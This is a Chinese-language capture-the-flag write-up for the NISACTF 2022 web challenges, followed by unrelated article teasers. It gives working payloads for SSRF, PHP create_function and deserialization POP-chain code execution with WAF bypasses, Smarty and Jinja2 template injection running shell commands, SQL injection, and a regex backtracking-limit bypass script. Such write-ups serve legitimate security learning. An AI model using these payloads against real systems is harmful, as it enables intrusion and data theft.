2022NISCTF--web

news/2024/5/20 0:05:54 标签: 网络安全, CTF, NISCTF

easyssrf

打开题目,显示的是

尝试输入, 发现输入flag有东西

读取文件

访问下一个网站

读取文件 不能以file开头 直接伪协议,base64解码

checkIn

奇怪的unicode编码

当选中左边的时候右边也会被选中

我们在vscode看看 这样的额

展示的是UTF-16 三位16进制 转化一下UTF-8

U+202E 0xE2 0x80 0xAE   %E2%80%AE
U+2066 0xE2 0x81 0xA6   %E2%81%A6
U+2069 0xE2 0x81 0xA9   %E2%81%A9

调整一下就好了

payload

ahahahaha=jitanglailo&%E2%80%AE%E2%81%A6Ugeiwo%E2%81%A9%E2%81%A6cuishiyuan=%E2%80%AE%E2%81%A6 Flag!%E2%81%A9%E2%81%A6N1SACTF

level-up

考点 hash强碰撞 parse_url函数漏洞 create_funcion函数代码执行

打开题目,查看源码

disallow 一般robots.txt里会有 查看一下,进入第二关

第二关 md5 碰撞绕过

array1=abc%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%D6%16y%AC%CE%C5%A1LrY5fn%94%10%D9%01%C3%AC%F8%AAN%21%D0%27%BE%3Ej%A7%22%0C%D08%D3%AF%DFRo%2F%A4%8B%E8%EB45j%E4h%9C%21%22%AB%7E%BC%8E%7C%17%9E%C3Xg%D7%A8%CDHt%BE%AB.%2FWb%3Eb%EA%FC%261%0F_%3D%AFo%3F%1E%DE%E8i%86%7D%BF%C7_Q%CDA%B4%CF%B8n%06Ir%7F%5C%A3k%F9%2AO%DFF%2A%F3%8BcH%FF%85%3F%0D%D0%9B%C7%C8-%12%92

array2=abc%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%D6%16y%AC%CE%C5%A1LrY5fn%94%10%D9%01%C3%ACx%AAN%21%D0%27%BE%3Ej%A7%22%0C%D08%D3%AF%DFRo%2F%A4%8B%E8%EB45%EA%E4h%9C%21%22%AB%7E%BC%8E%7C%17%9E%C3%D8g%D7%A8%CDHt%BE%AB.%2FWb%3Eb%EA%FC%261%0F_%3D%AFo%BF%1E%DE%E8i%86%7D%BF%C7_Q%CDA%B4%CF%B8n%06Ir%7F%5C%A3k%F9%2A%CF%DEF%2A%F3%8BcH%FF%85%3F%0D%D0%9BG%C8-%12%92

进入第三关

array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1

array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1

进入第四关

先了解一下parse_url函数:解析 URL,返回其组成部分

  • scheme - 如 http
  • host
  • port
  • user
  • pass
  • path
  • query - 在问号 ? 之后
  • fragment - 在散列符号 # 之后

方法一、php传参解析:不规范的被转化为_;NI+ => NI_

方法二、parse_url函数漏洞

http://xxxx/xx.php?xx=xx   解析的query  为xx=xx
http://xxxx///xx.php?xx=xx 解析的query  为NULL 就是解析不到query

进入第五关

ok 这个形式 形似之前我做的笔记,第二个参数会被当作命令执行

考点应该是 create_function 方法

分析该正则

if(preg_match('/^[a-z0-9_]*$/isD',$a)){
    show_source(__FILE__);
}
/i不区分大小写
/s匹配任何不可见字符,包括空格、制表符、换页符等等,等价于[fnrtv]
/D如果使用$限制结尾字符,则不允许结尾有换行;

意思就是 匹配字母数字下划线开头的字符
我们需要找到一个不以数字,字母,下划线等开头的value,同时可以正常执行函数
可以是fuzz找 就是 ascii码32-126作为第一个参数 发请求 看响应 
找到的是 \ 也就是 %5c

构造一下

a=\create_function&b=;}phpinfo();/*

babyupload

考点:python的os.path函数漏洞

查看源码

访问 下载源码

Flask写的后端,上传的文件名不能有. 返回一个路径

拼接路径 读取文件

os.path漏洞

所以说

os.path("upload/",'/flag') => os.path('/flag')

一般来讲 flag都是在根目录下载flag 特别是这样的考点

上传的文件名为 /flag 就会读取内容

bingdundun~

考点:phar伪协议读取压缩文件

打开题目

说的可以上传压缩包,我们制造一个压缩包木马 然后 phar 读取试试

这里刚开始上传rar不可以 上传的zip

写木马=>压缩成zip

执行成功,寻找flag

babyserialize

考点:反序列POC构造 system绕过

一眼反序列化 打开题目为源码

include "waf.php";
class NISA{
    public $fun="show_me_flag";
    public $txw4ever;
    public function __wakeup()
    {
        if($this->fun=="show_me_flag"){
            hint();
        }
    }

    function __call($from,$val){
        $this->fun=$val[0];
    }

    public function __toString()
    {
        echo $this->fun;
        return " ";
    }
    public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }
}

class TianXiWei{
    public $ext;
    public $x;
    public function __wakeup()
    {
        $this->ext->nisa($this->x);
    }
}

class Ilovetxw{
    public $huang;
    public $su;

    public function __call($fun1,$arg){
        $this->huang->fun=$arg[0];
    }

    public function __toString(){
        $bb = $this->su;
        return $bb();
    }
}

class four{
    public $a="TXW4EVER";
    private $fun='abc';

    public function __set($name, $value)
    {
        $this->$name=$value;
        if ($this->fun = "sixsixsix"){
            strtolower($this->a);
        }
    }
}

if(isset($_GET['ser'])){
    @unserialize($_GET['ser']);
}else{
    highlight_file(__FILE__);
}

?>

一步一步的分析

# 这里可以先看看提示
public function __wakeup()
{
    if($this->fun=="show_me_flag"){
        hint();
    }
}

# 构造
?ser=O:4:"NISA":2:{s:3:"fun";s:12:"show_me_flag";s:8:"txw4ever";N;}

然后接着分析 先找到目的地

# NISA类的
# __invoke以函数的形式调用对象时触发
public function __invoke()
{
    checkcheck($this->txw4ever);
    @eval($this->txw4ever);
}

# 发现  Ilovetxw类有 
# $this->su=new NISA();
# __toString 将对象当作字符串处理的时候触发
public function __toString(){
    $bb = $this->su;
    return $bb();
}

# 发现了两处
# 1.NISA类的
public function __wakeup()
{
    if($this->fun=="show_me_flag"){
        hint();
    }
}

# 2.four类的
public function __set($name, $value)
{
    $this->$name=$value;
    if ($this->fun = "sixsixsix"){
        strtolower($this->a);
    }
}

我们先根据第一处构造POC

class NISA{
    public $fun;
    public $txw4ever;
}

class Ilovetxw{
    public $huang;
    public $su;
}
$a = new NISA();
$b = new Ilovetxw();
$b->su = $a;
$a->txw4ever = "phpinfo();";
$a->fun = $b;
echo((serialize($a)));

说明是对的不过被waf挡住了而已

过滤了system

命令执行函数system()绕过
"\x73\x79\x73\x74\x65\x6d"("cat%20/flag");
(sy.(st).em)(whoami);

最终的POC

class NISA{
    public $fun;
    public $txw4ever;
}

class Ilovetxw{
    public $huang;
    public $su;
}
$a = new NISA();
$b = new Ilovetxw();
$b->su = $a;
$a->txw4ever = '"\x73\x79\x73\x74\x65\x6d"("cat /f*");';
$a->fun = $b;
echo((serialize($a)));

第二处构造POC

# NISA类的
# __invoke以函数的形式调用对象时触发
public function __invoke()
{
    checkcheck($this->txw4ever);
    @eval($this->txw4ever);
}

# 发现  Ilovetxw类有 
# $this->su=new NISA();
# __toString 将对象当作字符串处理的时候触发
public function __toString(){
    $bb = $this->su;
    return $bb();
}

# 2.four类的
# __set给不可访问 不存在的属性赋值时触发
# $this->a=new Ilovetxw();
public function __set($name, $value)
{
    $this->$name=$value;
    if ($this->fun = "sixsixsix"){
        strtolower($this->a);
    }
}

# Ilovetxw类的
# $this->huang=new four();
# __call调用不存在的方法触发
public function __call($fun1,$arg){
    $this->huang->fun=$arg[0];
}

# TianXiWei类的
#  $this->ext=new Ilovetxw();
public function __wakeup()
{
    $this->ext->nisa($this->x);
}

合起来构造

class NISA{
    public $fun;
    public $txw4ever;
}

class TianXiWei{
    public $ext;
    public $x;
}

class Ilovetxw{
    public $huang;
    public $su;
}

class four{
    public $a;
    private $fun;
}
$a=new TianXiWei();
$b=new Ilovetxw();
$c=new four();
$d=new NISA();
$a->ext=$b;
$b->huang=$c;
$c->a=$b;
$b->su=$d;
$d->txw4ever="system('ls');";
echo urlencode(serialize($a));

也是成功的

绕过

class NISA{
    public $fun;
    public $txw4ever;
}
class TianXiWei{
    public $ext;
    public $x;
}
class Ilovetxw{
    public $huang;
    public $su;
}
class four{
    public $a;
    private $fun;
}
$a=new TianXiWei();
$b=new Ilovetxw();
$c=new four();
$d=new NISA();

$a->ext=$b;
$b->huang=$c;
$c->a=$b;
$b->su=$d;
$d->txw4ever="(sy.(st).em)('cat /f*');";

echo urlencode(serialize($a));

midlevel

考点:Smarty SSTI

打开题目显示了IP 肯定时根据xff显示的IP 所以我们的可控点就是xff 来到最后看到

使用的是Smarty模板 考虑服务器模板注入

Smarty的注入方式{if phpinfo()}{/if} 尝试一下

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CqCnZBPu-1667131050882)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221030160247518.png)]

OK 已经出答案了

X-Forwarded-For:{if system('nl /f*')}{/if}


join-us

考点:join using 无列名注入

访问登录页面,看到一个cat u get flag 输入框 试试sql注入

有报错信息

黑名单

by updatexml database union columns = substr

爆数据库名

这里一步一步的测试过滤什么的时候,发现了 泄露了表的名称

在查询是 如果查询的列不存在 并且 没有关闭报错信息 可以查询一个不存在的列 这样会报错

爆表名

方法一、brup爆破

这里忘记了考虑 过滤= like替换了 直接爆破 一般我们创建的表都是在最后的

方法二、like替换=

join using 爆破列名

查出来Fal_flag有以下三列

id
data
i_tell_u_this_is_Fal(se)_flag_is_in_another
1'or/**/extractvalue(1,concat(0x7e,(select * from(select * from Fal_flag a join Fal_flag b using(id,data,i_tell_u_this_is_Fal(se)_flag_is_in_another))c),0x7e))--+

提示不在这个表中 去看另外一个表

{3bfb0ba4-dac9-425a-9e0f-cf2672d7afdd}

或者查data,结果都是一样的,配个mid 显示后面的

is secret

考点:RC4、SSTI

打开之后 这样,让我们发现secret

尝试 传参 /secret 等等 发现是/secret

页面:

意思就是给他secret 它返回加密的内容

看 第一个加密时字母 其余的不可见 猜测可能加密的字符长度受限 试试看

果然 泄露了敏感信息 分析一下

  • RC4 解密 密钥是 HereIsTreasure
  • render_template_string 渲染 存在 SSTI python的

找一个RC4加密的脚本

import base64
from urllib import parse


def rc4_main(key="init_key", message="init_message"):  # 返回加密后得内容
    s_box = rc4_init_sbox(key)
    crypt = str(rc4_excrypt(message, s_box))
    return crypt


def rc4_init_sbox(key):
    s_box = list(range(256))
    j = 0
    for i in range(256):
        j = (j + s_box[i] + ord(key[i % len(key)])) % 256
        s_box[i], s_box[j] = s_box[j], s_box[i]
    return s_box


def rc4_excrypt(plain, box):
    res = []
    i = j = 0
    for s in plain:
        i = (i + 1) % 256
        j = (j + box[i]) % 256
        box[i], box[j] = box[j], box[i]
        t = (box[i] + box[j]) % 256
        k = box[t]
        res.append(chr(ord(s) ^ k))
    cipher = "".join(res)
    return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))


key = "HereIsTreasure"  # 此处为密文
message = input("请输入明文:\n")
enc_base64 = rc4_main(key, message)
enc_init = str(base64.b64decode(enc_base64), 'utf-8')
enc_url = parse.quote(enc_init)
print("rc4加密后的url编码:" + enc_url)
# print("rc4加密后的base64编码"+enc_base64)

运行RC4 加密

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}

ls换成cat /flag.txt

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /f*').read()")}}{% endif %}{% endfor %}

popchains

考点:反序列化链子构造、flag藏得位置

class Road_is_Long{
    public $page;
    public $string;
    public function __construct($file='index.php'){
        $this->page = $file;
    }
    //3.$this->string=new  Make_a_Change
    // 把实例当作字符串处理触发
    public function __toString(){
        return $this->string->page;
    }

    public function __wakeup(){
        // 这里 
        if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
            echo "You can Not Enter 2022";
            $this->page = "index.php";
        }
    }
}

class Try_Work_Hard{
    protected  $var;
    # 终点
    public function append($value){
        include($value);
    }
    # 1.调用终点   __invoke 以函数形式调用时触发
    public function __invoke(){
        $this->append($this->var);
    }
}

class Make_a_Change{
    public $effort;
    public function __construct(){
        $this->effort = array();
    }
	
    public function __get($key){
        // 2.  $this->effort=new Try_Work_Hard();
        //  __get 访问不存在 不可访问的属性触发
        $function = $this->effort;
        return $function();
    }
}

构造的POC

<?php 
class Road_is_Long{
    public $page;
    public $string;
    //3.$this->string=new  Make_a_Change
}

class Try_Work_Hard{
    protected  $var;
    function __construct(){
        $this->var="php://filter/convert.base64-encode/resource=flag.php";
    }
}

class Make_a_Change{
    public $effort;
    // 2.  $this->effort=new Try_Work_Hard();
    }
 //   $this->var="xx";
$a = new Road_is_Long();
$b=new Make_a_Change();
$c=new Try_Work_Hard();
$a->page = $a;
$a->string=$b;
$b->effort=$c;

echo urlencode(serialize($a));

先本地测试一下 我在同目录放了一个flag.php

ok 是可以的

试试看,没有显示 就怀疑是不是没有放在flag.php

往常一样试试根目录 /flag /flag.php 一般就是给我们挖坑就不会改的特别离谱的名字

最终的POC

class Road_is_Long{
    public $page;
    public $string;
    //3.$this->string=new  Make_a_Change
}
class Try_Work_Hard{
    protected  $var;
    function __construct(){
        $this->var="php://filter/convert.base64-encode/resource=/flag";
    }
}
class Make_a_Change{
    public $effort;
    // 2.  $this->effort=new Try_Work_Hard();
    }
 //   $this->var="xx";
$a = new Road_is_Long();
$b=new Make_a_Change();
$c=new Try_Work_Hard();
$a->page = $a;
$a->string=$b;
$b->effort=$c;
echo urlencode(serialize($a));

这个比前一个反序列化要简单看来

middlerce

考点:PRCE绕过、RCE

打开题目直接是源码

include "check.php";
if (isset($_REQUEST['letter'])){
    $txw4ever = $_REQUEST['letter'];
    if (preg_match('/^.*([\w]|\^|\*|\(|\~|\`|\?|\/| |\||\&|!|\<|\>|\{|\x09|\x0a|\[).*$/m',$txw4ever)){
        die("再加把油喔");
    }
    else{
        $command = json_decode($txw4ever,true)['cmd'];
        checkdata($command);
        @eval($command);
    }
}
else{
    highlight_file(__FILE__);
}

看看这个正则

^.*([\w]|\^|\*|\(|\~|\`|\?|\/| |\||\&|!|\<|\>|\{|\x09|\x0a|\[).*$ 
.*直接匹配所有,但是后面表达式还是需要匹配 这样就会回溯 
什么意思?
就是如下图

那么如果找不到会一直回溯寻找嘛?当然不会 PHP有个100w的次数限制,也就是当回溯100w次 preg_match 将不在寻找,返回为false

注意 这里是false 0 √ false=0 ×

所以在本题中 我们可以构造一个大于回溯个数的串造成逃逸

看这里,是json解码之后的cmd内容,我们直接构造一个json串 python发送请求

在尝试过程 system啥的被禁 我们可以闭合前一个 构造下一个php标签绕过

$command = json_decode($txw4ever,true)['cmd'];
// checkdata 过滤了一些命令 尝试绕过
checkdata($command);
@eval($command);

如下

import requests
url = "http://1.14.71.254:28950/"
# 直接构造json串
'''
注意细节:
这样是不对的:'{"cmd":"?><?= `ls`?>;","overflow":'+"-"*1000000+'}' 
因为:"overflow":'+"-"*1000000+'}' 这里拼接完成后 - 并没有引号包裹 导致错误  
正确的应该给外层-加上引号 如'{"cmd":"?><?= `ls`?>;","overflow":"'+"-"*1000000+'"}' 

因为-没有在正则的[]里面 所以可以使用
'''
data='{"cmd":"?><?= `nl /f*`?>;","overflow":"'+"-"*1000000+'"}'
resp = requests.post(url=url,data={"letter":data})
print(resp.text)

hardsql

等会写wp! 现在有些疲惫啦!


http://www.niftyadmin.cn/n/2153.html

相关文章

创新能力 | 产品经理实践中常犯的七大错误

做产品是一个既感性又理性的过程&#xff0c;纵然有很多前辈同行的经验传承和技巧指导&#xff0c;但在落到实处是时&#xff0c;总难免犯一些错误。有些是经验不足导致&#xff0c;有些则是产品经理对于人性的浅见寡闻。本文作为产品经理实践指南专题的中级篇&#xff0c;阐述…

Sping高级(源码)--- 1.5BeanFactory后处理器

1.5.1BeanFactory后处理器的作用&#xff1a;为BeanFactory提供扩展 ConfigurationClassPostProcessor和MapperScannerConfigurer基本作用&#xff1a;扫描所有注解的包 Bean1 Slf4j public class Bean1 {public Bean1() {log.debug("我被 Spring 管理啦");} }Confi…

【Machine Learning】21.决策树

决策树1.导入包2.数据集2.1 独热编码的数据集2.2 查看数据4.决策树刷新器4.1 计算熵 Calculate entropy4.2 Split datasetExercise 24.3 计算信息增益 information gain练习34.4 Get best splitExercise 45.构建决策树6.课后题介绍关于决策树的内容&#xff0c;代码来源于Ng An…

USB取证 学习笔记

USB取证 免责声明 本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关. 相关文章 USB - CTF WikiUSB流量取证分析USB流量取证分析深入理解USB流量数据包的抓取与分析关于usb流量分析 相关工具 FzWjScJ/knm - 鼠标键盘流量包取证…

OSPF特殊区域

特殊区域的作用&#xff0c;减少大规模网络环境下的路由设备计算压力过大&#xff0c;设备性能浪费&#xff0c;即减少LSA数和路由表规模量 分类 传输区域(Transit Area)&#xff1a;除了承载本区域发起的流量和访问本区域的流量外&#xff0c;还承载了源IP和目的IP都不属于本…

【C++】vector,list迭代器失效

1.vector迭代器失效 vector容器的物理基础是线性表&#xff0c;底层是指针变量实现的。 在这里导致vector迭代器失效的原因会有两种-----插入失效&#xff0c;删除失效。 1.2插入数值导致迭代器失效 1.21扩容导致迭代器失效 我们在一块vector空间插入pos&#xff08;20&…

【数据结构】测试4 串

一. 选择 1. 以下叙述正确的是&#xff08;A&#xff09;。 A. 串是一种特殊的线性表 B. 串的长度必须大于0 C. 串中元素只能是字母 D. 空串就是空白串 2. 已知模式串T"abcdabcd"&#xff0c;则其next数组…

【MySQL 第十一天 创建和存储|复合结构的存储|存储过程和函数的区别】

【MySQL 第十一天 创建和存储|复合结构的存储|存储过程和函数的区别】【1】mysql储存过程及语法结构【1.1】mysql过程体【2】mysql创建和使用存储过程【2.1】mysql创建无参的存储过程【2.2】mysql创建有参的输入输出存储过程【3】mysql删除存储过程【4】mysql创建复合结构的存储…